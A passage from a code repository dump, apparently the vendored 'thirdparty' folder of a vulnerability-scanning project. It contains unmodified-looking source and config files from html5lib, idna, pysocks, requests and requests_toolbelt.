24 | attrs = OrderedDict() 25 | for name, value in sorted(token["data"].items(), 26 | key=_attr_key): 27 | attrs[name] = value 28 | token["data"] = attrs 29 | yield token 30 | -------------------------------------------------------------------------------- /thirdparty/html5lib/filters/base.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | 4 | class Filter(object): 5 | def __init__(self, source): 6 | self.source = source 7 | 8 | def __iter__(self): 9 | return iter(self.source) 10 | 11 | def __getattr__(self, name): 12 | return getattr(self.source, name) 13 | -------------------------------------------------------------------------------- /thirdparty/html5lib/filters/whitespace.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | import re 4 | 5 | from . import base 6 | from ..constants import rcdataElements, spaceCharacters 7 | spaceCharacters = "".join(spaceCharacters) 8 | 9 | SPACES_REGEX = re.compile("[%s]+" % spaceCharacters) 10 | 11 | 12 | class Filter(base.Filter): 13 | """Collapses whitespace except in pre, textarea, and script elements""" 14 | spacePreserveElements = frozenset(["pre", "textarea"] + list(rcdataElements)) 15 | 16 | def __iter__(self): 17 | preserve = 0 18 | for token in base.Filter.__iter__(self): 19 | type = token["type"] 20 | if type == "StartTag" \ 21 | and (preserve or token["name"] in self.spacePreserveElements): 22 | preserve += 1 23 | 24 | elif type == "EndTag" and preserve: 25 | preserve -= 1 26 | 27 | elif not preserve and type == "SpaceCharacters" and token["data"]: 28 | # Test on token["data"] above to not introduce spaces where there were not 29 | token["data"] = " " 30 | 31 | elif not preserve and type == "Characters": 32 | token["data"] = collapse_spaces(token["data"]) 33 | 34 | yield token 35 | 36 | 37 | def collapse_spaces(text): 38 | return SPACES_REGEX.sub(' ', text) 39 | -------------------------------------------------------------------------------- /thirdparty/html5lib/treeadapters/__init__.py: -------------------------------------------------------------------------------- 1 | """Tree adapters let you convert from one tree structure to another 2 | 3 | Example: 4 | 5 | .. code-block:: python 6 | 7 | import html5lib 8 | from html5lib.treeadapters import genshi 9 | 10 | doc = 'Hi!' 11 | treebuilder = html5lib.getTreeBuilder('etree') 12 | parser = html5lib.HTMLParser(tree=treebuilder) 13 | tree = parser.parse(doc) 14 | TreeWalker = html5lib.getTreeWalker('etree') 15 | 16 | genshi_tree = genshi.to_genshi(TreeWalker(tree)) 17 | 18 | """ 19 | from __future__ import absolute_import, division, unicode_literals 20 | 21 | from . import sax 22 | 23 | __all__ = ["sax"] 24 | 25 | try: 26 | from . import genshi # noqa 27 | except ImportError: 28 | pass 29 | else: 30 | __all__.append("genshi") 31 | -------------------------------------------------------------------------------- /thirdparty/html5lib/treeadapters/genshi.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from genshi.core import QName, Attrs 4 | from genshi.core import START, END, TEXT, COMMENT, DOCTYPE 5 | 6 | 7 | def to_genshi(walker): 8 | """Convert a tree to a genshi tree 9 | 10 | :arg walker: the treewalker to use to walk the tree to convert it 11 | 12 | :returns: generator of genshi nodes 13 | 14 | """ 15 | text = [] 16 | for token in walker: 17 | type = token["type"] 18 | if type in ("Characters", "SpaceCharacters"): 19 | text.append(token["data"]) 20 | elif text: 21 | yield TEXT, "".join(text), (None, -1, -1) 22 | text = [] 23 | 24 | if type in ("StartTag", "EmptyTag"): 25 | if token["namespace"]: 26 | name = "{%s}%s" % (token["namespace"], token["name"]) 27 | else: 28 | name = token["name"] 29 | attrs = Attrs([(QName("{%s}%s" % attr if attr[0] is not None else attr[1]), value) 30 | for attr, value in token["data"].items()]) 31 | yield (START, (QName(name), attrs), (None, -1, -1)) 32 | if type == "EmptyTag": 33 | type = "EndTag" 34 | 35 | if type == "EndTag": 36 | if token["namespace"]: 37 | name = "{%s}%s" % (token["namespace"], token["name"]) 38 | else: 39 | name = token["name"] 40 | 41 | yield END, QName(name), (None, -1, -1) 42 | 43 | elif type == "Comment": 44 | yield COMMENT, token["data"], (None, -1, -1) 45 | 46 | elif type == "Doctype": 47 | yield DOCTYPE, (token["name"], token["publicId"], 48 | token["systemId"]), (None, -1, -1) 49 | 50 | else: 51 | pass # FIXME: What to do? 52 | 53 | if text: 54 | yield TEXT, "".join(text), (None, -1, -1) 55 | -------------------------------------------------------------------------------- /thirdparty/html5lib/treeadapters/sax.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from xml.sax.xmlreader import AttributesNSImpl 4 | 5 | from ..constants import adjustForeignAttributes, unadjustForeignAttributes 6 | 7 | prefix_mapping = {} 8 | for prefix, localName, namespace in adjustForeignAttributes.values(): 9 | if prefix is not None: 10 | prefix_mapping[prefix] = namespace 11 | 12 | 13 | def to_sax(walker, handler): 14 | """Call SAX-like content handler based on treewalker walker 15 | 16 | :arg walker: the treewalker to use to walk the tree to convert it 17 | 18 | :arg handler: SAX handler to use 19 | 20 | """ 21 | handler.startDocument() 22 | for prefix, namespace in prefix_mapping.items(): 23 | handler.startPrefixMapping(prefix, namespace) 24 | 25 | for token in walker: 26 | type = token["type"] 27 | if type == "Doctype": 28 | continue 29 | elif type in ("StartTag", "EmptyTag"): 30 | attrs = AttributesNSImpl(token["data"], 31 | unadjustForeignAttributes) 32 | handler.startElementNS((token["namespace"], token["name"]), 33 | token["name"], 34 | attrs) 35 | if type == "EmptyTag": 36 | handler.endElementNS((token["namespace"], token["name"]), 37 | token["name"]) 38 | elif type == "EndTag": 39 | handler.endElementNS((token["namespace"], token["name"]), 40 | token["name"]) 41 | elif type in ("Characters", "SpaceCharacters"): 42 | handler.characters(token["data"]) 43 | elif type == "Comment": 44 | pass 45 | else: 46 | assert False, "Unknown token type" 47 | 48 | for prefix, namespace in prefix_mapping.items(): 49 | handler.endPrefixMapping(prefix) 50 | handler.endDocument() 51 | -------------------------------------------------------------------------------- /thirdparty/html5lib/treewalkers/dom.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from xml.dom import Node 4 | 5 | from . import base 6 | 7 | 8 | class TreeWalker(base.NonRecursiveTreeWalker): 9 | def getNodeDetails(self, node): 10 | if node.nodeType == Node.DOCUMENT_TYPE_NODE: 11 | return base.DOCTYPE, node.name, node.publicId, node.systemId 12 | 13 | elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): 14 | return base.TEXT, node.nodeValue 15 | 16 | elif node.nodeType == Node.ELEMENT_NODE: 17 | attrs = {} 18 | for attr in list(node.attributes.keys()): 19 | attr = node.getAttributeNode(attr) 20 | if attr.namespaceURI: 21 | attrs[(attr.namespaceURI, attr.localName)] = attr.value 22 | else: 23 | attrs[(None, attr.name)] = attr.value 24 | return (base.ELEMENT, node.namespaceURI, node.nodeName, 25 | attrs, node.hasChildNodes()) 26 | 27 | elif node.nodeType == Node.COMMENT_NODE: 28 | return base.COMMENT, node.nodeValue 29 | 30 | elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE): 31 | return (base.DOCUMENT,) 32 | 33 | else: 34 | return base.UNKNOWN, node.nodeType 35 | 36 | def getFirstChild(self, node): 37 | return node.firstChild 38 | 39 | def getNextSibling(self, node): 40 | return node.nextSibling 41 | 42 | def getParentNode(self, node): 43 | return node.parentNode 44 | -------------------------------------------------------------------------------- /thirdparty/html5lib/treewalkers/genshi.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from genshi.core import QName 4 | from genshi.core import START, END, XML_NAMESPACE, DOCTYPE, TEXT 5 | from genshi.core import START_NS, END_NS, START_CDATA, END_CDATA, PI, COMMENT 6 | 7 | from . import base 8 | 9 | from ..constants import voidElements, namespaces 10 | 11 | 12 | class TreeWalker(base.TreeWalker): 13 | def __iter__(self): 14 | # Buffer the events so we can pass in the following one 15 | previous = None 16 | for event in self.tree: 17 | if previous is not None: 18 | for token in self.tokens(previous, event): 19 | yield token 20 | previous = event 21 | 22 | # Don't forget the final event! 23 | if previous is not None: 24 | for token in self.tokens(previous, None): 25 | yield token 26 | 27 | def tokens(self, event, next): 28 | kind, data, _ = event 29 | if kind == START: 30 | tag, attribs = data 31 | name = tag.localname 32 | namespace = tag.namespace 33 | converted_attribs = {} 34 | for k, v in attribs: 35 | if isinstance(k, QName): 36 | converted_attribs[(k.namespace, k.localname)] = v 37 | else: 38 | converted_attribs[(None, k)] = v 39 | 40 | if namespace == namespaces["html"] and name in voidElements: 41 | for token in self.emptyTag(namespace, name, converted_attribs, 42 | not next or next[0] != END or 43 | next[1] != tag): 44 | yield token 45 | else: 46 | yield self.startTag(namespace, name, converted_attribs) 47 | 48 | elif kind == END: 49 | name = data.localname 50 | namespace = data.namespace 51 | if namespace != namespaces["html"] or name not in voidElements: 52 | yield self.endTag(namespace, name) 53 | 54 | elif kind == COMMENT: 55 | yield self.comment(data) 56 | 57 | elif kind == TEXT: 58 | for token in self.text(data): 59 | yield token 60 | 61 | elif kind == DOCTYPE: 62 | yield self.doctype(*data) 63 | 64 | elif kind in (XML_NAMESPACE, DOCTYPE, START_NS, END_NS, 65 | START_CDATA, END_CDATA, PI): 66 | pass 67 | 68 | else: 69 | yield self.unknown(kind) 70 | -------------------------------------------------------------------------------- /thirdparty/idna/__init__.py: -------------------------------------------------------------------------------- 1 | from .package_data import __version__ 2 | from .core import * 3 | -------------------------------------------------------------------------------- /thirdparty/idna/compat.py: -------------------------------------------------------------------------------- 1 | from .core import * 2 | from .codec import * 3 | 4 | def ToASCII(label): 5 | return encode(label) 6 | 7 | def ToUnicode(label): 8 | return decode(label) 9 | 10 | def nameprep(s): 11 | raise NotImplementedError('IDNA 2008 does not utilise nameprep protocol') 12 | 13 | -------------------------------------------------------------------------------- /thirdparty/idna/intranges.py: -------------------------------------------------------------------------------- 1 | """ 2 | Given a list of integers, made up of (hopefully) a small number of long runs 3 | of consecutive integers, compute a representation of the form 4 | ((start1, end1), (start2, end2) ...). Then answer the question "was x present 5 | in the original list?" in time O(log(# runs)). 6 | """ 7 | 8 | import bisect 9 | 10 | def intranges_from_list(list_): 11 | """Represent a list of integers as a sequence of ranges: 12 | ((start_0, end_0), (start_1, end_1), ...), such that the original 13 | integers are exactly those x such that start_i <= x < end_i for some i. 14 | 15 | Ranges are encoded as single integers (start << 32 | end), not as tuples. 16 | """ 17 | 18 | sorted_list = sorted(list_) 19 | ranges = [] 20 | last_write = -1 21 | for i in range(len(sorted_list)): 22 | if i+1 < len(sorted_list): 23 | if sorted_list[i] == sorted_list[i+1]-1: 24 | continue 25 | current_range = sorted_list[last_write+1:i+1] 26 | ranges.append(_encode_range(current_range[0], current_range[-1] + 1)) 27 | last_write = i 28 | 29 | return tuple(ranges) 30 | 31 | def _encode_range(start, end): 32 | return (start << 32) | end 33 | 34 | def _decode_range(r): 35 | return (r >> 32), (r & ((1 << 32) - 1)) 36 | 37 | 38 | def intranges_contain(int_, ranges): 39 | """Determine if `int_` falls into one of the ranges in `ranges`.""" 40 | tuple_ = _encode_range(int_, 0) 41 | pos = bisect.bisect_left(ranges, tuple_) 42 | # we could be immediately ahead of a tuple (start, end) 43 | # with start < int_ <= end 44 | if pos > 0: 45 | left, right = _decode_range(ranges[pos-1]) 46 | if left <= int_ < right: 47 | return True 48 | # or we could be immediately behind a tuple (int_, end) 49 | if pos < len(ranges): 50 | left, _ = _decode_range(ranges[pos]) 51 | if left == int_: 52 | return True 53 | return False 54 | -------------------------------------------------------------------------------- /thirdparty/idna/package_data.py: -------------------------------------------------------------------------------- 1 | __version__ = '3.1' 2 | 3 | -------------------------------------------------------------------------------- /thirdparty/ipaddress/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/ipaddress/__init__.py -------------------------------------------------------------------------------- /thirdparty/pysocks/.flake8: -------------------------------------------------------------------------------- 1 | [flake8] 2 | # https://flake8.readthedocs.io/en/2.0/warnings.html 3 | # E261 - at least two spaces before inline comment 4 | # E265 - block comment should start with '#' 5 | # W503 - line break occured before a binary operator 6 | # F811 - redefinition of unused name 7 | # F401 - name imported but unused 8 | ignore = E261,E265,W503,F811,F401 9 | -------------------------------------------------------------------------------- /thirdparty/pysocks/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | setup.cfg 27 | MANIFEST 28 | /.tox/ 29 | /3proxy.conf 30 | /.cache/ 31 | /.env/ 32 | -------------------------------------------------------------------------------- /thirdparty/pysocks/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | 3 | python: 2.7 4 | 5 | os: 6 | - linux 7 | 8 | env: 9 | - TOX_ENV=py27 10 | - TOX_ENV=py34 11 | 12 | # For python3.5, and python3.6 the base python versions 13 | # should be 3.5 and 3.6 accordingly to avoid InterpreterNotFound error 14 | matrix: 15 | allow_failures: 16 | - env: TOX_ENV=qa 17 | include: 18 | - python: 3.4 19 | env: TOX_ENV=qa 20 | - python: 3.5 21 | env: TOX_ENV=py35 22 | - python: 3.6 23 | env: TOX_ENV=py36 24 | 25 | install: 26 | - pip install tox 27 | 28 | script: 29 | - tox -e $TOX_ENV 30 | -------------------------------------------------------------------------------- /thirdparty/pysocks/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Change Log 2 | 3 | Brief descriptions of changes will be logged here. Note that unless otherwise specified, all future versions should be backwards compatible with older versions. 4 | 5 | ## [1.6.7] - 2017-03-22 6 | - Make SocksiPy legacy functions kwarg-compatible. See issue [#71](https://github.com/Anorov/pysocks/pull/71). 7 | - Use setuptools in setup.py to support wheel. See issue [#73](https://github.com/Anorov/pysocks/pull/73). 8 | - Test and logging enhancements 9 | 10 | ## [1.6.6] - 2017-01-29 11 | - Full test suite finally added 12 | - Travis CI enabled for project 13 | -------------------------------------------------------------------------------- /thirdparty/pysocks/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2006 Dan-Haim. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, 4 | are permitted provided that the following conditions are met: 5 | 1. Redistributions of source code must retain the above copyright notice, this 6 | list of conditions and the following disclaimer. 7 | 2. Redistributions in binary form must reproduce the above copyright notice, 8 | this list of conditions and the following disclaimer in the documentation 9 | and/or other materials provided with the distribution. 10 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 11 | to endorse or promote products derived from this software without specific 12 | prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 15 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 16 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 17 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 19 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 20 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 21 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 22 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 23 | -------------------------------------------------------------------------------- /thirdparty/pysocks/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md LICENSE 2 | recursive-include test * 3 | -------------------------------------------------------------------------------- /thirdparty/pysocks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/pysocks/__init__.py -------------------------------------------------------------------------------- /thirdparty/pysocks/pylintrc: -------------------------------------------------------------------------------- 1 | [MASTER] 2 | jobs=4 3 | extension-pkg-whitelist= 4 | #ignore=invalid_import.py 5 | 6 | [TYPECHEK] 7 | ignored-modules= 8 | 9 | [MESSAGES CONTROL] 10 | disable=R,I,fixme,missing-docstring 11 | 12 | [REPORTS] 13 | reports=no 14 | 15 | [BASIC] 16 | method-rgx=([a-z_][a-z0-9_]{2,30}|test_[a-z_][a-z0-9_]{2,50})$ 17 | function-rgx=([a-z_][a-z0-9_]{2,30}|test_[a-z_][a-z0-9_]{2,50})$ 18 | variable-rgx=[a-z_][a-z0-9_]{1,30}$ 19 | argument-rgx=[a-z_][a-z0-9_]{1,30}$ 20 | 21 | [FORMAT] 22 | max-line-length=79 23 | -------------------------------------------------------------------------------- /thirdparty/pysocks/pytest.ini: -------------------------------------------------------------------------------- 1 | [pytest] 2 | testpaths = test 3 | python_files = test_*.py 4 | -------------------------------------------------------------------------------- /thirdparty/pysocks/requirements_dev.txt: -------------------------------------------------------------------------------- 1 | six 2 | test_server==0.0.27 3 | psutil 4 | pytest 5 | pylint 6 | flake8 7 | -------------------------------------------------------------------------------- /thirdparty/pysocks/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | import re 5 | from setuptools import setup 6 | 7 | base_path = os.path.dirname(__file__) 8 | 9 | requirements = [] 10 | if os.name == "nt" and sys.version_info < (3, 0): 11 | # Required due to missing socket.inet_ntop & socket.inet_pton method in Windows Python 2.x 12 | requirements.append("win-inet-pton") 13 | 14 | with open("README.md") as f: 15 | long_description = f.read() 16 | 17 | 18 | with open(os.path.join(base_path, "socks.py")) as f: 19 | VERSION = re.compile(r'.*__version__ = "(.*?)"', re.S).match(f.read()).group(1) 20 | 21 | setup( 22 | name="pysocks", 23 | version=VERSION, 24 | description="A Python SOCKS client module. See https://github.com/Anorov/pysocks for more information.", 25 | long_description=long_description, 26 | long_description_content_type="text/markdown", 27 | url="https://github.com/Anorov/pysocks", 28 | license="BSD", 29 | author="Anorov", 30 | author_email="anorov.vorona@gmail.com", 31 | keywords=["socks", "proxy"], 32 | py_modules=["socks", "sockshandler"], 33 | install_requires=requirements, 34 | python_requires=">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*", 35 | classifiers=( 36 | "Programming Language :: Python :: 2", 37 | "Programming Language :: Python :: 2.7", 38 | "Programming Language :: Python :: 3", 39 | "Programming Language :: Python :: 3.4", 40 | "Programming Language :: Python :: 3.5", 41 | "Programming Language :: Python :: 3.6", 42 | ), 43 | ) 44 | -------------------------------------------------------------------------------- /thirdparty/pysocks/tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | envlist = py2,py3 3 | 4 | [testenv] 5 | commands = 6 | pytest {posargs} 7 | deps = 8 | -rrequirements_dev.txt 9 | 10 | [testenv:pylint-strict] 11 | commands = pylint test.test_pysocks --enable=all --disable=missing-docstring,locally-disabled,locally-enabled,suppressed-message {posargs} 12 | deps = 13 | pylint 14 | pytest 15 | 16 | [testenv:qa] 17 | commands = 18 | flake8 \ 19 | test/test_pysocks.py 20 | pylint \ 21 | test.test_pysocks 22 | -------------------------------------------------------------------------------- /thirdparty/requests/__version__.py: -------------------------------------------------------------------------------- 1 | # .-. .-. .-. . . .-. .-. .-. .-. 2 | # |( |- |.| | | |- `-. | `-. 3 | # ' ' `-' `-`.`-' `-' `-' ' `-' 4 | 5 | __title__ = 'requests' 6 | __description__ = 'Python HTTP for Humans.' 7 | __url__ = 'https://requests.readthedocs.io' 8 | __version__ = '2.25.1' 9 | __build__ = 0x022501 10 | __author__ = 'Kenneth Reitz' 11 | __author_email__ = 'me@kennethreitz.org' 12 | __license__ = 'Apache 2.0' 13 | __copyright__ = 'Copyright 2020 Kenneth Reitz' 14 | __cake__ = u'\u2728 \U0001f370 \u2728' 15 | -------------------------------------------------------------------------------- /thirdparty/requests/_internal_utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests._internal_utils 5 | ~~~~~~~~~~~~~~ 6 | 7 | Provides utility functions that are consumed internally by Requests 8 | which depend on extremely few external helpers (such as compat) 9 | """ 10 | 11 | from .compat import is_py2, builtin_str, str 12 | 13 | 14 | def to_native_string(string, encoding='ascii'): 15 | """Given a string object, regardless of type, returns a representation of 16 | that string in the native string type, encoding and decoding where 17 | necessary. This assumes ASCII unless told otherwise. 18 | """ 19 | if isinstance(string, builtin_str): 20 | out = string 21 | else: 22 | if is_py2: 23 | out = string.encode(encoding) 24 | else: 25 | out = string.decode(encoding) 26 | 27 | return out 28 | 29 | 30 | def unicode_is_ascii(u_string): 31 | """Determine if unicode string only contains ASCII characters. 32 | 33 | :param str u_string: unicode string to check. Must be unicode 34 | and not Python 2 `str`. 35 | :rtype: bool 36 | """ 37 | assert isinstance(u_string, str) 38 | try: 39 | u_string.encode('ascii') 40 | return True 41 | except UnicodeEncodeError: 42 | return False 43 | -------------------------------------------------------------------------------- /thirdparty/requests/certs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | requests.certs 6 | ~~~~~~~~~~~~~~ 7 | 8 | This module returns the preferred default CA certificate bundle. There is 9 | only one — the one from the certifi package. 10 | 11 | If you are packaging Requests, e.g., for a Linux distribution or a managed 12 | environment, you can change the definition of where() to return a separately 13 | packaged CA bundle. 14 | """ 15 | from thirdparty.certifi import where 16 | 17 | if __name__ == '__main__': 18 | print(where()) 19 | -------------------------------------------------------------------------------- /thirdparty/requests/compat.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.compat 5 | ~~~~~~~~~~~~~~~ 6 | 7 | This module handles import compatibility issues between Python 2 and 8 | Python 3. 9 | """ 10 | 11 | from thirdparty import chardet 12 | 13 | import sys 14 | 15 | # ------- 16 | # Pythons 17 | # ------- 18 | 19 | # Syntax sugar. 20 | _ver = sys.version_info 21 | 22 | #: Python 2.x? 23 | is_py2 = (_ver[0] == 2) 24 | 25 | #: Python 3.x? 26 | is_py3 = (_ver[0] == 3) 27 | 28 | try: 29 | import simplejson as json 30 | except ImportError: 31 | import json 32 | 33 | # --------- 34 | # Specifics 35 | # --------- 36 | 37 | if is_py2: 38 | from urllib import ( 39 | quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, 40 | proxy_bypass, proxy_bypass_environment, getproxies_environment) 41 | from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag 42 | from urllib2 import parse_http_list 43 | import cookielib 44 | from Cookie import Morsel 45 | from StringIO import StringIO 46 | # Keep OrderedDict for backwards compatibility. 47 | from collections import Callable, Mapping, MutableMapping, OrderedDict 48 | 49 | 50 | builtin_str = str 51 | bytes = str 52 | str = unicode 53 | basestring = basestring 54 | numeric_types = (int, long, float) 55 | integer_types = (int, long) 56 | 57 | elif is_py3: 58 | from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag 59 | from urllib.request import parse_http_list, getproxies, proxy_bypass, proxy_bypass_environment, getproxies_environment 60 | from http import cookiejar as cookielib 61 | from http.cookies import Morsel 62 | from io import StringIO 63 | # Keep OrderedDict for backwards compatibility. 64 | from collections import OrderedDict 65 | from collections.abc import Callable, Mapping, MutableMapping 66 | 67 | builtin_str = str 68 | str = str 69 | bytes = bytes 70 | basestring = (str, bytes) 71 | numeric_types = (int, float) 72 | integer_types = (int,) 73 | -------------------------------------------------------------------------------- /thirdparty/requests/hooks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.hooks 5 | ~~~~~~~~~~~~~~ 6 | 7 | This module provides the capabilities for the Requests hooks system. 8 | 9 | Available hooks: 10 | 11 | ``response``: 12 | The response generated from a Request. 13 | """ 14 | HOOKS = ['response'] 15 | 16 | 17 | def default_hooks(): 18 | return {event: [] for event in HOOKS} 19 | 20 | # TODO: response is the only one 21 | 22 | 23 | def dispatch_hook(key, hooks, hook_data, **kwargs): 24 | """Dispatches a hook dictionary on a given piece of data.""" 25 | hooks = hooks or {} 26 | hooks = hooks.get(key) 27 | if hooks: 28 | if hasattr(hooks, '__call__'): 29 | hooks = [hooks] 30 | for hook in hooks: 31 | _hook_data = hook(hook_data, **kwargs) 32 | if _hook_data is not None: 33 | hook_data = _hook_data 34 | return hook_data 35 | -------------------------------------------------------------------------------- /thirdparty/requests/packages.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from thirdparty import urllib3 3 | 4 | # This code exists for backwards compatibility reasons. 5 | # I don't like it either. Just look the other way. :) 6 | # urllib3 = "/opt/tools/scan/vulmap/thirdparty/urllib3" 7 | for package in ('urllib3', 'idna', 'chardet'): 8 | locals()[package] = __import__(package) 9 | # This traversal is apparently necessary such that the identities are 10 | # preserved (requests.packages.urllib3.* is urllib3.*) 11 | for mod in list(sys.modules): 12 | if mod == package or mod.startswith(package + '.'): 13 | sys.modules['requests.packages.' + mod] = sys.modules[mod] 14 | 15 | # Kinda cool, though, right? 16 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | requests-toolbelt 4 | ================= 5 | 6 | See http://toolbelt.rtfd.org/ for documentation 7 | 8 | :copyright: (c) 2014 by Ian Cordasco and Cory Benfield 9 | :license: Apache v2.0, see LICENSE for more details 10 | """ 11 | 12 | from .adapters import SSLAdapter, SourceAddressAdapter 13 | from .auth.guess import GuessAuth 14 | from .multipart import ( 15 | MultipartEncoder, MultipartEncoderMonitor, MultipartDecoder, 16 | ImproperBodyPartContentException, NonMultipartContentTypeException 17 | ) 18 | from .streaming_iterator import StreamingIterator 19 | from .utils.user_agent import user_agent 20 | 21 | __title__ = 'requests-toolbelt' 22 | __authors__ = 'Ian Cordasco, Cory Benfield' 23 | __license__ = 'Apache v2.0' 24 | __copyright__ = 'Copyright 2014 Ian Cordasco, Cory Benfield' 25 | __version__ = '0.9.1' 26 | __version_info__ = tuple(int(i) for i in __version__.split('.')) 27 | 28 | __all__ = [ 29 | 'GuessAuth', 'MultipartEncoder', 'MultipartEncoderMonitor', 30 | 'MultipartDecoder', 'SSLAdapter', 'SourceAddressAdapter', 31 | 'StreamingIterator', 'user_agent', 'ImproperBodyPartContentException', 32 | 'NonMultipartContentTypeException', '__title__', '__authors__', 33 | '__license__', '__copyright__', '__version__', '__version_info__', 34 | ] 35 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/adapters/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | requests-toolbelt.adapters 4 | ========================== 5 | 6 | See http://toolbelt.rtfd.org/ for documentation 7 | 8 | :copyright: (c) 2014 by Ian Cordasco and Cory Benfield 9 | :license: Apache v2.0, see LICENSE for more details 10 | """ 11 | 12 | from .ssl import SSLAdapter 13 | from .source import SourceAddressAdapter 14 | 15 | __all__ = ['SSLAdapter', 'SourceAddressAdapter'] 16 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/adapters/fingerprint.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Submodule containing the implementation for the FingerprintAdapter. 3 | 4 | This file contains an implementation of a Transport Adapter that validates 5 | the fingerprints of SSL certificates presented upon connection. 6 | """ 7 | from thirdparty.requests.adapters import HTTPAdapter 8 | 9 | from .._compat import poolmanager 10 | 11 | 12 | class FingerprintAdapter(HTTPAdapter): 13 | """ 14 | A HTTPS Adapter for Python Requests that verifies certificate fingerprints, 15 | instead of certificate hostnames. 16 | 17 | Example usage: 18 | 19 | .. code-block:: python 20 | 21 | from thirdparty import requests 22 | import ssl 23 | from thirdparty.requests_toolbelt.adapters.fingerprint import FingerprintAdapter 24 | 25 | twitter_fingerprint = '...' 26 | s = requests.Session() 27 | s.mount( 28 | 'https://twitter.com', 29 | FingerprintAdapter(twitter_fingerprint) 30 | ) 31 | 32 | The fingerprint should be provided as a hexadecimal string, optionally 33 | containing colons. 34 | """ 35 | 36 | __attrs__ = HTTPAdapter.__attrs__ + ['fingerprint'] 37 | 38 | def __init__(self, fingerprint, **kwargs): 39 | self.fingerprint = fingerprint 40 | 41 | super(FingerprintAdapter, self).__init__(**kwargs) 42 | 43 | def init_poolmanager(self, connections, maxsize, block=False): 44 | self.poolmanager = poolmanager.PoolManager( 45 | num_pools=connections, 46 | maxsize=maxsize, 47 | block=block, 48 | assert_fingerprint=self.fingerprint) 49 | -------------------------------------------------------------------------------- /thirdparty/requests_toolbelt/adapters/host_header_ssl.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | requests_toolbelt.adapters.host_header_ssl 4 | ========================================== 5 | 6 | This file contains an implementation of the HostHeaderSSLAdapter. 7 | """ 8 | 9 | from thirdparty.requests.adapters import HTTPAdapter 10 | 11 | 12 | class HostHeaderSSLAdapter(HTTPAdapter): 13 | """ 14 | A HTTPS Adapter for Python Requests that sets the hostname for certificate 15 | verification based on the Host header. 16 | 17 | This allows requesting the IP address directly via HTTPS without getting 18 | a "hostname doesn't match" exception. 19 | 20 | Example usage: 21 | 22 | >>> s.mount('https://', HostHeaderSSLAdapter()) 23 | >>> s.get("https://93.184.216.34", headers={"Host": "example.org"}) 24 | 25 | """ 26 | 27 | def send(self, request, **kwargs): 28 | # HTTP headers are case-insensitive (RFC 7230) 29 | host_header = None 30 | for header in request.headers: 31 | if header.lower() 